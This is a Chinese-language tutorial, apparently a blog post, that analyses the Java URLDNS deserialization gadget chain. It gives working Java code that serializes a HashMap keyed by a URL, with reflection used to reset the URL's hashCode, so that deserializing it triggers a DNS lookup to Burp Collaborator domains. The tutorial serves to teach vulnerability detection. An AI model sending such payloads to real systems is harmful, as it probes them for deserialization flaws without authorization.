JAVA反序列化漏洞利用链之URLDNS

1.简介

  • 在URLDNS这条链中主要是利用HashMap对象反序列化时会调用HashMap对象中Key值对象的hashCode方法,而当我们传入HashMap中Key值是一个URL对象时,则会调用URL对象的hashCode方法,执行该方法时会触发URLStreamHandler对象调用其自身的hashCode方法,其hashCode方法又会调用其自身getHostAddress方法,来解析域名,导致触发DNS解析。
  • 由于该链非常通用,都是JDK自身自带的类,又由于该利用链危害性低,因此该利用链通常用于验证是否存在反序列漏洞。

2.代码分析

2.1.入口类HashMap分析

  • 由于HashMap参数的灵活性可以传入两个对象,因此在多数利用链中都会用到该类。
  • 我们知道在JAVA反序列化对象时会自动调用该类的readObject方法,而在HashMap的readObject方法调用了HashMap中的hash方法,而hash方法中又恰好调用了我们可控参数中的key对象的hashcode方法,因此我们可以利用该入口类来实现反序列化漏洞。
  • HashMap.java

image-20240819154020922

  • 从图中我们可以看到,只要我们传入的key对象不为空,就可以调用key对象的hashCode方法。

image-20240819154123437

2.2.执行类分析

  • 那么入口类和入口方法找到了我们下一步就得来找执行类,那在已知加载类中有哪些类存在可以利用的hashcode方法呢。

  • 我们可以通过IDEA自带的查找函数用法,来定位我们需要的类方法。

image-20240819163610977

  • 如果没找到想要的方法可以在左下角的设置中勾选重写方法。

image-20240819163713003

  • 通过查找类我们可以发现URL类调用了hashCode方法。

image-20240819163930430

  • 而URL类的hashCode方法又调用了handler的hashCode方法,这时我们可以持续定位到URLStreamHandler类,是该类调用了它的hashCode方法,且将URL对象传入到了handler的hashCode方法中,我们继续跟进

image-20240819164334012

  • 我们发现该方法又将url对象传入到了getHostAddress方法中,继续跟进该方法

image-20240819164745244

  • 我们通过方法介绍和代码可以得知该方法主要用途就是获取主机得ip地址,其实就算完成了一次dns查询。因此跟到这我们进不用继续跟进了。

image-20240819164854409

  • 通过梳理以上分析我们就可以得知,只要我们将URL对象作为HashMap中key值对象传入HashMap中,当反序列化时就能触发该漏洞。
  • 实际情况如何呢,那么接下来我们来写一下这条链。

3.反序列化利用链编写

  • 按照我们以上分析的,将dnslog写入URL对象中然后传入到HashMap对象中最后进行序列化再反序列化。

  • 先生成一个dnslog域名,可以使用专业版的burpsutie,或者使用dnslog.cn来进行回显。

  • 我们这里采用burpsutie

image-20240821093827008

  • 首先是序列化代码
1
2
3
4
5
6
7
8
9
10
11
public class Serializer {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}
public static Object Deserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
}

  • 然后序列化对象
1
2
3
4
5
6
7
8
9
10
public class URLDNS {
public static void main(String[] args) throws IOException,ClassNotFoundException {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://go8xevpm3y8kazrle5w8sm7yyp4gs7gw.oastify.com");
hashMap.put(url, 1);
Serializer.serialize(hashMap);
Serializer.Deserialize("ser.bin");
}
}

  • 然后执行代码无报错,点击Poll now,查看dnslog。

image-20240821094436616

  • 我们发现dnslog请求成功,那么我们这条链就对了吗?
  • 确定这条dns查询请求是在反序列化中请求的吗?
  • 我们注释掉反序列化函数再来执行一遍。
1
//Serializer.Deserialize("ser.bin");
  • 我们发现也收到了dns查询请求。

image-20240821094743449

  • 然后我们这次注释掉其他代码,仅执行反序列化看看。
1
Serializer.Deserialize("ser.bin");
  • 我们发现,其实并没有收到dns查询请求,说明其实dns查询请求是在反序列化之前发送的dns查询请求,而不是在反序列化时触发的查询请求。(解释一下,上面三条,下面一条,是因为dns查询是需要进行轮询递归查询的,因此收到的dns查询条数是相对随机的,可能是一条两条四条都有可能,并不是说它调用了几次查询请求的函数。)

image-20240821095009237

  • 问题具体出在哪,我们来调试一下。
  • 通过调试我们发现本应该在反序列化中URL.hashCode,应该调用handler.hashCode,然后在上一个if语句中就返回了,并没有调用handler.hashCode。

image-20240821095933836

  • 它满足了hashCode != -1这个条件。
  • 通过查看URL代码我们可以发现,hashCode默认值确实是-1,但为什么在我们反序列化之前就变了呢?

image-20240821100810457

  • 那么我们再次进行调试,看hashCode值是在哪进行变更。

image-20240821101419935

image-20240821101356569

image-20240821101607627

  • 我们发现我们在调用HashMap.put的时候,HashMap也会调用一次hash(key),然后调用key.hashCode,而调用一次hashCode函数之后key的默认hashCode值-1,将会改变。从而在之后的反序列化过程中再次调用hashCode函数时,hashCode的值就不为-1了,自然无法在调用handler.hashCode。

  • 那么有两个思路

    • 第一个思路呢,我们直接通过反射给HashMap对象添加key,而不调用put方法,但是这样需要操作HashMap中的node,相对来说比较麻烦,我们就不采用这个方法了。
    • 第二个思路是通过反射来修改hashCode的值(hashCode为私有属性,无法直接修改),再调用put方法之后。
  • 具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://kg416zhqv20o23jp69ockqz2qtwlkb80.oastify.com");
hashMap.put(url, 1);
Class urlClass = url.getClass();
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, -1);
Serializer.serialize(hashMap);
Serializer.Deserialize("ser.bin");
}
}

image-20240821111918663

  • 这样在反序列化对象时就会发送dns请求。
  • 如果我们为了完美的话可以在调用put方法之前也进行一次hashCode值得修改,改为不为-1,这样调用put方法时就不会走到handler.hashCode方法中,也不会触发dns查询请求,调用完put请求之后我们再将hashCode值改成-1。这样不会让我们在生成序列化对象时发送dns查询请求,不会导致误判。具体优化后的代码逻辑如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://laz200brp3upw4dq0aidert3kuqned22.oastify.com");
Class urlClass = url.getClass();
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 2);
hashMap.put(url, 1);
hashCodeField.set(url, -1);
Serializer.serialize(hashMap);
Serializer.Deserialize("ser.bin");
}
}

4.总结

  • 查看调用堆栈信息

image-20240821121716225

  • 主要就是注意hashCode中得if条件判断,确保反序列化后的对象中的hashCode属性为值-1,就不会出现问题。